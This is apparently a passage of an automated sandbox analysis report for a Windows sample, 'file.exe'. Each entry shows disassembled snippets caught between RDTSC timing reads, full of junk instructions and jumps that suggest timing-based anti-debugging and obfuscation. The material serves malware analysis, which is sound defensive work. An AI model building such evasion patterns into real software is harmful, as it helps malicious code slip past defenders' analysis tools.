Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80CAB second address: 4A80CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFB70EEC02Fh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80CCA second address: 4A80CE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80CE5 second address: 4A80D1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FFB70EEC02Eh 0x00000010 pop ebp 0x00000011 pushad 0x00000012 mov ax, 576Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90034 second address: 4A9003A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9003A second address: 4A9003E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9003E second address: 4A900B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FFB70DAD989h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FFB70DAD97Ch 0x00000017 sbb cl, 00000038h 0x0000001a jmp 00007FFB70DAD97Bh 0x0000001f popfd 0x00000020 call 00007FFB70DAD988h 0x00000025 mov ecx, 2CE54CF1h 0x0000002a pop eax 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FFB70DAD988h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0CF0 second address: 4AA0D10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FA65FCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov dl, cl 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0D10 second address: 4AA0D4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, cl 0x00000005 jmp 00007FFB70DAD983h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test eax, eax 0x0000000f jmp 00007FFB70DAD986h 0x00000014 je 00007FFBE3230599h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0D4F second address: 4AA0D6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0D6C second address: 4AA0D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFB70DAD97Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0D92 second address: 4AA0D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0D98 second address: 4AA0D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0D9C second address: 4AA0DF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC033h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FFB70EEC030h 0x00000017 sub si, ED48h 0x0000001c jmp 00007FFB70EEC02Bh 0x00000021 popfd 0x00000022 jmp 00007FFB70EEC038h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0DF6 second address: 4AA0E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD97Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0E08 second address: 4AA0E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b jmp 00007FFB70EEC037h 0x00000010 ror eax, cl 0x00000012 pushad 0x00000013 push ecx 0x00000014 mov bx, C276h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b mov bx, cx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0E38 second address: 4AA0E7C instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FFB70DAD97Dh 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007FFB70DAD981h 0x00000018 sbb si, BE86h 0x0000001d jmp 00007FFB70DAD981h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0E7C second address: 4AA0E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0E82 second address: 4AA0E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0E86 second address: 4AA0EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00322014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007FFB756ACDF7h 0x00000023 push FFFFFFFEh 0x00000025 pushad 0x00000026 mov si, bx 0x00000029 mov edx, 18841FD4h 0x0000002e popad 0x0000002f pop eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FFB70EEC036h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0EB6 second address: 4AA0EED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov di, 83A0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ret 0x0000000e nop 0x0000000f push eax 0x00000010 call 00007FFB7556E773h 0x00000015 mov edi, edi 0x00000017 jmp 00007FFB70DAD97Fh 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FFB70DAD985h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0EED second address: 4AA0EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0EF3 second address: 4AA0F17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 367069EAh 0x00000012 push eax 0x00000013 push edx 0x00000014 mov bh, A7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0F17 second address: 4AA0F4D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFB70EEC02Ah 0x00000008 jmp 00007FFB70EEC035h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FFB70EEC02Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0F4D second address: 4AA0F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0F53 second address: 4AA0F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0F57 second address: 4AA0F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007FFB70DAD985h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60008 second address: 4A6000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6000C second address: 4A60012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60012 second address: 4A600A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB70EEC036h 0x00000009 sub ax, 56C8h 0x0000000e jmp 00007FFB70EEC02Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FFB70EEC038h 0x0000001a sub ecx, 0AD5D928h 0x00000020 jmp 00007FFB70EEC02Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007FFB70EEC036h 0x0000002f push eax 0x00000030 pushad 0x00000031 push edx 0x00000032 mov si, B4A3h 0x00000036 pop eax 0x00000037 movsx edi, cx 0x0000003a popad 0x0000003b xchg eax, ebp 0x0000003c jmp 00007FFB70EEC030h 0x00000041 mov ebp, esp 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 mov dx, si 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A600A8 second address: 4A600CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD985h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, al 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A600CA second address: 4A600F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC030h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70EEC037h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A600F8 second address: 4A600FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A600FE second address: 4A60102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60102 second address: 4A60106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60106 second address: 4A60115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov bx, si 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60115 second address: 4A60159 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFB70DAD986h 0x00000008 and ax, 5768h 0x0000000d jmp 00007FFB70DAD97Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FFB70DAD986h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60159 second address: 4A6019B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFB70EEC032h 0x00000008 adc esi, 3EE414F8h 0x0000000e jmp 00007FFB70EEC02Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FFB70EEC035h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6019B second address: 4A601CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bx, si 0x0000000e call 00007FFB70DAD97Ch 0x00000013 mov ecx, 7BD11391h 0x00000018 pop eax 0x00000019 popad 0x0000001a mov dword ptr [esp], ebx 0x0000001d pushad 0x0000001e mov edi, 53B82ACEh 0x00000023 popad 0x00000024 mov ebx, dword ptr [ebp+10h] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov dh, 31h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A601CF second address: 4A601D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A601D5 second address: 4A601D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A601D9 second address: 4A601E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A601E7 second address: 4A60215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FFB70DAD981h 0x0000000a add ax, 45B6h 0x0000000f jmp 00007FFB70DAD981h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60215 second address: 4A6024E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007FFB70EEC02Eh 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 mov di, ax 0x00000018 mov cx, 8DD9h 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6024E second address: 4A60252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60252 second address: 4A60258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60258 second address: 4A6030C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB70DAD986h 0x00000009 and cx, FD98h 0x0000000e jmp 00007FFB70DAD97Bh 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FFB70DAD97Eh 0x00000023 jmp 00007FFB70DAD985h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007FFB70DAD980h 0x0000002f sbb esi, 2A010258h 0x00000035 jmp 00007FFB70DAD97Bh 0x0000003a popfd 0x0000003b popad 0x0000003c popad 0x0000003d xchg eax, edi 0x0000003e pushad 0x0000003f movzx eax, di 0x00000042 popad 0x00000043 test esi, esi 0x00000045 jmp 00007FFB70DAD989h 0x0000004a je 00007FFBE326BC94h 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FFB70DAD97Dh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6030C second address: 4A60321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 31h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60321 second address: 4A6032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6032F second address: 4A60341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70EEC02Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60341 second address: 4A60345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60345 second address: 4A60358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FFBE33AA304h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60358 second address: 4A60360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60360 second address: 4A60367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 69h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60367 second address: 4A603B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, dword ptr [esi+44h] 0x0000000a jmp 00007FFB70DAD97Fh 0x0000000f or edx, dword ptr [ebp+0Ch] 0x00000012 jmp 00007FFB70DAD986h 0x00000017 test edx, 61000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FFB70DAD987h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603B8 second address: 4A603E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FFBE33AA2D9h 0x0000000f pushad 0x00000010 mov si, F1D3h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603E4 second address: 4A603E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603E8 second address: 4A603EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A507FF second address: 4A50833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 jmp 00007FFB70DAD980h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFB70DAD987h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50833 second address: 4A50839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50839 second address: 4A5083D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5083D second address: 4A50841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50841 second address: 4A50887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b jmp 00007FFB70DAD97Dh 0x00000010 pushfd 0x00000011 jmp 00007FFB70DAD980h 0x00000016 and al, 00000008h 0x00000019 jmp 00007FFB70DAD97Bh 0x0000001e popfd 0x0000001f popad 0x00000020 and esp, FFFFFFF8h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 movsx edx, cx 0x00000029 mov bx, cx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50887 second address: 4A508B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d mov edx, esi 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 mov dx, si 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508B6 second address: 4A508CE instructions: 0x00000000 rdtsc 0x00000002 mov bx, 4B6Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70DAD97Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508CE second address: 4A508D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508D4 second address: 4A508D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508D8 second address: 4A508DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508DC second address: 4A50935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FFB70DAD97Bh 0x00000012 or al, 0000006Eh 0x00000015 jmp 00007FFB70DAD989h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FFB70DAD980h 0x00000021 xor ecx, 2BFD74E8h 0x00000027 jmp 00007FFB70DAD97Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50935 second address: 4A5093B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5093B second address: 4A5093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5093F second address: 4A509A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007FFB70EEC037h 0x00000010 mov esi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FFB70EEC02Bh 0x0000001c sbb cx, A98Eh 0x00000021 jmp 00007FFB70EEC039h 0x00000026 popfd 0x00000027 jmp 00007FFB70EEC030h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509A3 second address: 4A50A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007FFB70DAD97Fh 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 mov edi, esi 0x00000016 mov esi, 1961D5BDh 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007FFB70DAD97Ah 0x00000022 sub al, FFFFFF98h 0x00000025 jmp 00007FFB70DAD97Bh 0x0000002a popfd 0x0000002b popad 0x0000002c je 00007FFBE327331Ah 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FFB70DAD985h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A07 second address: 4A50A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6D2F58C2h 0x00000008 mov al, bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 jmp 00007FFB70EEC032h 0x00000019 mov ecx, esi 0x0000001b jmp 00007FFB70EEC030h 0x00000020 je 00007FFBE33B198Ah 0x00000026 jmp 00007FFB70EEC030h 0x0000002b test byte ptr [76FA6968h], 00000002h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 call 00007FFB70EEC02Ch 0x0000003a pop ecx 0x0000003b rdtsc
